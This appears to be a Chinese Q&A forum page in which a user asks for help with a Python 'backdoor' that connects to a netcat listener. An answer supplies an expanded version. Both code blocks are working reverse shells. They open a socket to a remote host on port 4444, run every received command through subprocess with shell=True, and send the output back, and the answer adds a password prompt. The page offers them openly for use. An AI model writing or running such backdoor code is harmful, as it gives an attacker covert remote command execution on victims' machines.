Python背

2024-05-15 02:45:28 发布

您现在位置:Python中文网/ 问答频道 /正文

大家好,我正在建立一个Python后门。所以,当我为listener启动netcat并启动后门时,它会连接所有东西,但当我键入ipconfig时,它会显示“无法找到指定的文件目录”或类似的内容。代码如下:

#!/usr/bin/python

import socket
import subprocess

HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')

while 1:
    data = s.recv(1024)

    if data == 'quit' : break

    proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(b'\n' + stdoutput)

# Exiting
s.send(b'\nExiting...\n')
s.close()

Tags: importsendhostfordataremoteportstderr
1条回答
网友
1楼 · 发布于 2024-05-15 02:45:28

试试这个:

希望不要太多。我还添加了一些特性。 你是戈达姆欢迎:)

#!/usr/bin/python

# Import the required librarys for the job
import subprocess
import socket
import os

# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure

# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# This method will be used for handling the exit when you type -quit
def Quit():
       s.send('    [<] Hope to see you soon :)\n')
       s.close()
       Connect()

# This method will wait until the connection is alive
def Connect():
       s.connect((HOST, PORT))                                                                                      
       s.send('''\n
    +          +
    | You are connected! |
    +          +
    | X IS Something err!! |
    | < IS Incomming!!     |
    | > IS Outgoing!!       |
    +          +

    ''')
       Login()

# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
       s.send('    [>] Please login #>> ')
       pwd = s.recv(1024)

       if pwd.strip() == PASS:
              Shell()
       else:
              s.send('    [X] Incorrect Login!!\n')
              Login()

# Main method   Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
       s.send('    [<] We\'re in :)\n    [>]-{ ' + os.curdir + ' } Console #>> ')
       while 1:
           data = s.recv(1024)

           # Make sure that you use '-quit'!!
           if data.upper()[:5] == '-QUIT' : break

           proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
           stdoutput = "    [<] " + proc.stdout.read() + proc.stderr.read()
           s.send('\n\n' + stdoutput + '\n\n')
           s.send('    [>]-{ ' + os.curdir + ' } Console #>> ')
       Quit()
Connect()

相关问题 更多 >

    热门问题